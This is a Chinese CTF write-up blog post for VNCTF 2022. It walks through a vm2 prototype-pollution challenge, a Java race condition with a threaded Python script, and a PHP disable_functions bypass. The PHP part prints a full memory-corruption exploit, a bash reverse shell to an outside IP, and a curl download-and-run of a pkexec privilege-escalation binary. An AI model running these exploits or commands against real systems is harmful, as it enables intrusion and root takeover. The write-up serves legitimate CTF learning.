vnctf2022

简介

陆陆续续把比赛都复现过去,随缘放到博客。

参考链接:

http://www.yongsheng.site/2022/02/16/vnctf-2022/

https://chowdera.com/2022/02/202202170129375291.html

GameV4.0

data.js中有flag

VNCTF{Welcome_to_VNCTF2022}

newcalc0

简介

考点为cve-2022-21824,vm2虚拟机逃逸,污染原型链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
const e = req.body.e;
if (!e) {
res.send("wrong?");
return;
}
try {
res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
console.log(e)
res.send("wrong?");
}
});

app.use("/flag", (req, res) => {
if(Object.keys(Object.prototype).length > 0) {
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
res.send(process.env.FLAG);
} else {
res.send(Object.keys(Object.prototype));
}
})

app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));
console.log(p);
res.sendFile(p);
});

app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

这道题用了vm2模块,但是都是最新包,暂不存在能够逃逸的1day。

镜像为node:lts-alpine,package.json全部为最新包

拿到flag的条件是Object.keys(Object.prototype).length > 0,即Object原型的属性需要大于1

Object.keys 返回一个所有元素为字符串的数组,其元素来自于从给定的object上面可直接枚举的属性。这些属性的顺序与手动遍历该对象属性时的一致。

原题:https://brycec.me/posts/dicectf_2022_writeups#vm-calc

题中可以得知是node新修复的漏洞,https://nodejs.org/en/blog/vulnerability/jan-2022-security-releases/#prototype-pollution-via-console-table-properties-low-cve-2022-21824

而题目环境中node为FROM node:16.13.1-bullseye-slim,这个通过题目发布时的镜像版本可以得知存在此原型链污染漏洞

复现时hackerone已经发布了漏洞相关报告

https://hackerone.com/reports/1431042

换低版本的node,复现成功。

image.png

1
console.table([{x:1}],['__proto__'])

easyJava

简介

考点为条件竞争,线程漏洞

可以用file协议或者netdoc协议读取文件目录和下载文件

1
2
file:///usr/local/tomcat/webapps/ROOT/WEB-INF/lib
netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/lib

组件包

1
2
3
4
5
commons-lang3-3.7.jar
tomcat-annotations-api-8.5.75.jar
tomcat-annotations-api-9.0.38.jar
tomcat-embed-core-8.5.75.jar
tomcat-embed-core-9.0.38.jar

然后可以把class文件都下下来反编译

Secr3t类

image.png

看Servlet

处理get请求,传入一个name参数,但是这里判断上下一样,矛盾了,这里没有处理多线程,存在条件竞争漏洞

image.png

多线程请求绕过,让Servlet内部出错拿到key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import threading
host = "http://d279b171-e8d9-4364-9c3f-0623e93535a1.node4.buuoj.cn:81"

class myThread (threading.Thread):
def __init__(self, name):
threading.Thread.__init__(self)
self.name = name
def run(self):
runing(self.name)

def runing(name):
while True:
r = requests.get(host+"/evi1?name=%s" % name)
r.encoding = "utf-8"
if r.text.find("The Key is")!=-1:
print(r.text)
return 0

thread1 = myThread("aaaaaaa")
thread2 = myThread("vnctf2022")

thread1.start()
thread2.start()
1
DkF6nMYB5CeQioYpRNLFPt0wTLOWaFF5

看处理Post请求

image.png

先用SerAndDe.deserialize反序列化对象,然后再用User.equals()来比较

看下User类

image.png

将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会序列化到指定的目的地中。

image.png

重写writeObject方法强制写入height域

1
2
3
4
private void writeObject(java.io.ObjectOutputStream out) throws java.io.IOException {
out.defaultWriteObject();
out.writeObject(this.height);
}

然后序列化传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class BasePoc {
public static void main(String[] args) throws IOException {
User user = new User((String) "m4n_q1u_666", (String) "666", (String) "180");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(user);
byte[] bytes = byteArrayOutputStream.toByteArray();
String payload = Base64.getEncoder().encodeToString(bytes);
System.out.println(payload);

User user2 = (User) SerAndDe.deserialize(bytes);
System.out.println(user2.toString());
oos.flush();
oos.close();
}
}

这里有个小细节,为了让对象在服务端顺利反序列化,该对象的类里开头的package语句,也就是位置需要和服务端一致。

image.png

interesting php

简介

考点为bypass disable_functions和提权

1
<?php highlight_file(__FILE__); @eval($_GET['exp']);?>

尝试发现ban了许多函数

1
2
var_dump(scandir('.'));//读目录
var_dump(ini_get_all());//读php.ini

disable_functions:

include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var

很明显的file_put_contentsfputs没ban

bypass disable_functions

使用这个项目:https://github.com/mm0r1/exploits/tree/master/php-filter-bypass

需要注意的是:

  • Content-Type: multipart/form-data; boundary=—-WebKitFormBoundarytTUJ5AxeIGFMSfxf
  • ——WebKitFormBoundarytTUJ5AxeIGFMSfxf
    Content-Disposition: form-data; name=”1”

这两处,然后就可以反弹shell

深入解析 multipart/form-data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
POST /?exp=eval($_POST[1]); HTTP/1.1
Host: dc223a6d-b30e-42bf-be3d-38a282766ca7.node4.buuoj.cn:81
Content-Length: 6889
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dc223a6d-b30e-42bf-be3d-38a282766ca7.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytTUJ5AxeIGFMSfxf
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dc223a6d-b30e-42bf-be3d-38a282766ca7.node4.buuoj.cn:81/?exp=eval($_POST[1]);
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: UM_distinctid=17eec4fcc66536-0975948f3634ff-576153e-154ac4-17eec4fcc67914
Connection: close

------WebKitFormBoundarytTUJ5AxeIGFMSfxf
Content-Disposition: form-data; name="1"

pwn('whoami');
#pwn($_POST[1]);

function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fputs($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;

public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}

private function go() {
$this->abc = &$this->filtername;

$this->make_uaf_obj();

$this->helper = new Helper;
$this->helper->b = function($x) {};

$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);

$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);

$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);

$this->prepare_leaker();

$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);

$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);

$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);

$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);

$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);

$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);

$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);

$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);

$this->cleanup();
($this->helper->b)(CMD);
}

private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fputs($this->uafp, "\x00");
}
}

private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);

$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}

private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}

private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}

private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}

private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}

private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fputs($this->hfp, "\x00");
}
}

private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}

private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}

static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}

反弹shell

1
bash -c 'exec bash -i &>/dev/tcp/1.117.144.41/4444 <&1'

然后pkexec提权,项目地址:https://github.com/arthepsy/CVE-2021-4034

1
2
3
curl http://120.27.248.81/p > ./p
chmod 777 p
./p

gocalc

go注入未复现,待有时间接触go之后再学,直接学注入肯定效果不好。